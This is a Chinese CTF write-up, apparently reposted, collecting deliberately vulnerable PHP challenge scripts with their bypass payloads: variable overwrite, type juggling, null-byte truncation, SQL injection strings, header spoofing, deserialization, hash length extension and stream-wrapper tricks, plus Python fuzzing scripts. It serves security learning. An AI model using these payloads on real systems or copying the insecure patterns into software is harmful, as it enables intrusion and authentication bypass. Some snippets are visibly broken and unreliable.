CTF-php特性绕过

news2024/9/21 11:18:48

注意:null==0 正确

null==flase 错误

Extract变量覆盖

<?php

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));//trim移除引号
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

exp

exp:?shiyan=&flag=1

避免

使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突,不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.

过滤空白字符与is_numeric

<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;
  • \f c语言中,\f(%0c)是换页的意思,因此有着当空白字符的能力
  • %00 截断 %00在c语言中是结束的最后字符

解题思路

  1. 首先第一点是需要绕过判断的函数is_numeric($_REQUEST),可以使用%00截断,也可以先使用get传参,后使用post覆盖。具体去了解request穿参。

https://www.cnblogs.com/miyeah/p/4005269.html

  1. 要求 $req['number']==strval(intval($req['number']))//十进制转换成字符串
  2. 要求intval($req['number']) == intval(strrev($req['number']))//strrev 反转字符串
  3. is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现
import requests
for i in range(256):
    rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
    if '1' in rq.text:
        print "%%%02X"%i

%%%02x 前两个百分号是输出一个百分号,第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。

fuzz的结果

%0C
%2B
<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 

?>

temp=1337a

多重加密

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

token的加密,对token进行base64解密然后压缩,最后反序列化。

自然我们可以先进行序列化然后压缩,最后base64加密。

当然,我们需要让token的user属性是ichunqiu,于是就有了

<?php

$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// echo $token;

?>

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

ereg和strops

<?php 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

?password=1e9%00*_*

https://blog.csdn.net/Xxy605/article/details/109908059

<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>
  • strpos()找的是字符串,那么传一个数组给它,就是null,null!==flasenctf[]=

那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

  • 字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤,注意将#编码,不进行url编码会当作分隔符

https://blog.csdn.net/liu943367080/article/details/97130559

<?php  

$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

strcmp比较字符串

<?php
$flag = "flag";
if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 

    //比较两个字符串(区分大小写) 
        die('Flag: '.$flag);  
    else  
        print 'No';  
}

?>

?a[]=1

使用:php<5.3的时候,传入非字符数也会报错

传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误

sha()函数比较绕过

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造usernamepassword既不相等,又同样是数组类型

所以payload:?name[]=a&amp;password[]=b

session绕过

<?php

$flag = "flag";

session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

删除cookies或者删除cookies的值,同时把password的值置空

密码比较md5绕过

<?php

//配置数据库
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 

//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql语句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }
}
?>

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

因为get传参以后会自动进行一次url编码,所以一共要两次

sql特殊绕过

闭合绕过

<?php


if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("*******", "****", "****");
    mysql_select_db("****") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

//select user from php where (user='admin')#

//exp:admin')#

$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  if($row['user']=="admin") {
    echo "<p>Logged in! Key: *********** </p>";
  }

  if($row['user'] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}

?>

admin')#

with ROLLUP绕过

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){

//检测变量是否是数组

        $StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

//匹配成功一次后就会停止匹配

        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 

//遍历数组

    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

//设置活动的 MySQL 数据库

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 

//执行一条 MySQL 查询

if (mysql_num_rows($query) == 1) { 

//返回结果集中行的数目

    $key = mysql_fetch_array($query);

//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

https://blog.csdn.net/qq_35078631/article/details/54772798

offset 1表示跳过一条数据

Desc(反引号)

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

https://blog.csdn.net/shuteer_xu/article/details/107478640

ctf@localhost

查表,查列的时候,数据库名使用16进制

`flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`

有版本限制的。

or绕过

<?php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

?>

$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

?username=admin\'\' AND pass=\''or 1 #&password=

闭合重构造

//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

xff绕过指定ip地址

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

md5加密绕过

<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

?>

0=0

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

强等于只能用数组绕过

?username[]=1&password[]=2,每次得出来的都是null

<?php

error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}

?>
  • Password 置空,null==0 是true
  • 0e开头

md5加密的sql注入

<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

https://www.cnblogs.com/beijibing/p/10393526.html

interval函数四舍五入

<?php

if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}

?>

1024.1

四舍五入绕过最基本的if判断

十六进制与数字比较

<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的

3735929054比较,答案当然是相同的,返回true拿到flag

echo dechex ( 3735929054 ); // 将3735929054转为16进制

结果为:deadc0de

构造:

http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

数字验证正则绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,必须包含四种类型三种与三种以上
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

意为必须是12个字符以上(非空格非TAB之外的内容)

$password分成连续的符号punct或者数字digit或者大写upper或者小写lower能分成6段以上

而且必须要有大小写字母,数字,字符内容三种与三种以上,最后还要等于42

42.00e+00000000000 
或
42.Hell0dddddddddd

switch没有break

<?php

error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    if ($which===0||$which===1||$which===2)
        die("no,no,no,no");
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

?>

https://zhidao.baidu.com/question/336186893.html

输入任意字符串即可

反序列化

unserialize()会忽略多余的字符

<!-- index.php -->
<?php 
        require_once('shield.php');
        $x = new Shield();
        isset($_GET['class']) && $g = $_GET['class'];
        if (!empty($g)) {
                $x = unserialize($g);
        }
        echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<!-- shield.php -->

<?php
        //flag is in pctf.php
        class Shield {
                public $file;
                function __construct($filename = '') {
                        $this -> file = $filename;
                }
                
                function readfile() {
                        if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                        && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                                return @file_get_contents($this->file);
                        }
                }
        }
?>

<!-- showimg.php -->
<?php
        $f = $_GET['img'];
        if (!empty($f)) {
                $f = base64_decode($f);
                if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
                //stripos — 查找字符串首次出现的位置(不区分大小写)
                && stripos($f,'pctf')===FALSE) {
                        readfile($f);
                } else {
                        echo "File not found!";
                }
        }
?>
<!-- answer.php -->
<?php

require_once('shield.php');
$x = new Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

反序列化逃逸

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
    public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA)."\n");

echo $res;
$c=unserialize($res);

var_dump($c);
?>

直接能造成逃逸

哈希长度拓展攻击

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
        body {
                background:gray;
                text-align:center;
        }
</style>
</head>

<body>
        <?php
                $auth = false;
                $role = "guest";
                $salt =
                if (isset($_COOKIE["role"])) {
                        $role = unserialize($_COOKIE["role"]);
                        $hsh = $_COOKIE["hsh"];
                        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
// strrev返回 string 反转后的字符串。 
                         {
                                $auth = true;
                        } else {
                                $auth = false;
                        }
                } else {
                        $s = serialize($role);
                        setcookie('role',$s);
                        $hsh = md5($salt.strrev($s));
                        setcookie('hsh',$hsh);
                }
                if ($auth) {
                        echo "<h3>Welcome Admin. Your flag is 
                } else {
                        echo "<h3>Only Admin can see the flag!!</h3>";
                }
        ?>
        
</body>

https://www.cnblogs.com/Cl0ud/p/13380114.html

所以我们需要突破的是

$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))

先看后面的比较

左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值

右边是使用盐值和反转后的传过去的role值连接后,并进行md5加密的结果,需要与$hsh相等

这里看上去是无懈可击的,虽然我们可以传递hsh和role的值,但是因为我们不知道盐值,所以得到的md5很难凭猜或者爆破来令其与hsh相等。

但是如MD5,SHA1, SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。

在pcat的博文中介绍过应用场景为

如果一个应用程序是这样操作的:

  1. 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)

  2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文

  3. 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

这个时候,该应用程序就易受长度扩展攻击

另外,只有盐值在前,原文在后,才可以用hash长度扩展攻击。

预测得到的是:

md5(盐+原文+填充+恶意扩充)

哈希长度扩展攻击我们通常使用HashPump进行利用

HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

我们先进行抓包

这里还利用了PHP反序列化unserialize的一个特性,即unserialize()会忽略多余的字符

例如:

<?php
$s = 's:5:"admin"; s:5:"guest";';
echo unserialize($s);
?>

可以看到,后面的guest被忽略了,没有进行反序列化,而是被忽略了,这也是我们使用填充字符进行哈希长度扩展攻击的关键。

另外我们虽然不知道盐值的长度,但是我们可以进行逐个尝试

将获得的结果反序后重放

import requests,hashpumpy,urllib

def attack():
    url = 'http://web.jarvisoj.com:32778/'

    old_cookie = '3a4727d57463f122833d9e732f94e4e0'
    str1 = 's:5:"guest";'
    str2 = 's:5:"admin";'
    str1 = str1[::-1]                           #倒过来,这道题要role的值反过来求md5
    str2 = str2[::-1]

    for i in range(1,20):                       #用于爆破salt的长度
        new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
        payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie}           #quote()可以把 \x00 变成 %00
        ans = requests.get(url,cookies = payload)
        print(i)
        print(ans.text)
        if 'flag' in ans.text:
            print(ans.text)
#print(urllib.parse.quote('\x00'))
attack()

数组提交绕过逻辑

<?php 
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
    $role = unserialize(base64_decode($_COOKIE["role"]));
    if($role === "admin"){
        $auth = true;
    }
    else{
        $auth = false;
    }
}
else{
    $role = base64_encode(serialize($role));
    setcookie('role',$role);
}
if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}
else{
    echo "Sorry. You have no permissions.";
}
?>

想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组,这样的话在执行 implode() 函数的时候就不会使 &s 为空,成功绕过这段逻辑拿到flag。

伪协议

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
        header('Location: index.php?id=1');
        exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
        echo 'Hahahahahaha';
        return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
        require("flag.txt");
}
else
{
        print "work harder!harder!harder!";
}

?>

?id=aaa&b=%00123456&a=php//:input

post: 1112 is a nice lab!

得到{/^HT2mCpcvOLf}其中^经过url编码为%5e,所以最后访问即

写入的读

<?php
//what you want to see is in ssssrf.php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['crack_me.com']))
{
    $filename=$_POST['crack_me.com'];
    if(stripos($filename, 'bingbing')>0){ 
        echo file_get_contents($filename); 
    }
    else{
        die("you don't like  bingbing ???");
    }
}
else
{
    die("can't pass the level?hai xiang kai junjian?");
} 

[会代替成为_

crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php

php伪随机数

<?php
//next ,you can try ccccmd.php
error_reporting(0);
function curl($url){
        $ch=curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($ch);
        curl_close($ch);
        echo ($result);
}
$num=$_GET['num'];
mt_srand(getenv('SEED'));
$r1=mt_rand();
echo $r1;
$r2=mt_rand();
if($num==$r2){
        $url=$_GET['url'];
        curl($url);
}

这里需要先绕过$r2=mt_rand();

https://gitee.com/jrand/php_mt_seed

用这个工具.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1135360.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java中Map常见的面试问题,扩容问题,转红黑树的前提,解决Hash哈希冲突的方法

Map集合常见面试题 如何解决 解决哈希碰撞的方法 1链地址法(hashMap的处理方式) 把hash表的每个单元作为链表的头节点。当发生冲突时放入到同一个hash值计算索引对应的链表。 2开放定址法 发生冲突后寻找下一个地址 3再次hash法 对hash值再次进行hash计算 4建立公共溢出区…

【Linux】进程地址空间、进程的概念、进程的描述、物理地址空间、进程地址空间和物理地址空间的关系

文章目录 1.进程的概念1.1进程是什么 2.进程的描述2.1进程的组成2.2task_struct的内容 3.进程地址空间&#xff08;虚拟地址空间&#xff09;3.1物理地址空间3.2进程地址空间和物理地址空间的关系 1.进程的概念 1.1进程是什么 从计算机的硬件到软件和用户需要有很多的交互&…

win11安装docekr、docker-compose

1.docker安装 下载地址&#xff1a;Install Docker Desktop on Windows | Docker Docs 出问题别慌&#xff0c;看清楚提示信息&#xff0c;cmd更新wsl&#xff0c;什么是wsl&#xff0c;百度好好理解一下哦 2.docker-compose安装 还是去官方看看怎么说的&#xff0c;然后跟着处…

面向边缘场景的 PWA 实践

背景 随着5G技术的发展&#xff0c;物联网边缘侧主要应用于数据传输量大、安全要求高以及数据实时处理等行业与应用场景中。其中&#xff0c;边缘计算是一种分布式计算模式&#xff0c;其将计算资源和数据处理能力推向接近数据源的边缘设备&#xff0c;以减少延迟并提高响应速度…

设计模式:中介者模式(C#、JAVA、JavaScript、C++、Python、Go、PHP)

上一篇《迭代器模式》 下一篇《备忘录模式》 简介&#xff1a; 中介者模式&#xff0c;它是是一种行为设计模式&#xff0c;它允许将一组对象之间的交互封装到一个单独的类中&#xff0c;从而降低对象之间的耦合性…

KF-GINS 和 OB-GINS 的 Earth类 和 Rotation 类

原始 Markdown文档、Visio流程图、XMind思维导图见&#xff1a;https://github.com/LiZhengXiao99/Navigation-Learning 文章目录 一、Earth 类&#xff1a;地球参数和坐标转换1、gravity()&#xff1a;正常重力计算2、meridianPrimeVerticalRadius()&#xff1a;计算子午圈半径…

04 文件管理

文件管理 文件和目录的创建 删除文件和目录 文件查找命令 文件的拷贝和移动 打包和压缩

MySQL -- 表的约束

